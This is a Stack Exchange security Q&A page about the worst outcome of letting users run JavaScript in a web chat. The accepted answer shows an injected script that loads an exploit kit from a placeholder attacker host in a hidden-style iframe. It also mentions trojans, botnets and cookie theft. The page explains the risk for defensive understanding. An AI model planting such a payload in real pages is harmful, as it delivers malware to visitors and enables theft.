Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

For an online chat that allows basic HTML, what happens if they leave an open way for a potential hacker to execute javascript on everyone who is in the chat?
What is the worst thing they could do?

share|improve this question
add comment

1 Answer

up vote 4 down vote accepted

Create new iframe and load exploit kit inside iframe.

<script language="JavaScript" type="text/javascript">
ifrm = document.createElement("IFRAME");
   ifrm.setAttribute("src", "http://exploitsite.com/");
   ifrm.style.width = 640+"px";
   ifrm.style.height = 480+"px";
   document.body.appendChild(ifrm);
</script>

Infect users with trojan horses , use them as bots, steal their money etc...

share|improve this answer
1  
They could also do some XSS and steal their cookie(s) on that domain (which should hopefully only have their sessionID, but could still be dangerous). You could also go for "pranks" and play mysterious music, waste bandwidth, slow down their computer considerably, and scare them. –  Vreality Jun 2 '13 at 0:09
    
Yeah, any javascript holes are very bad. Can totally be exploited as you explained. –  yentup Jun 3 '13 at 5:44
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.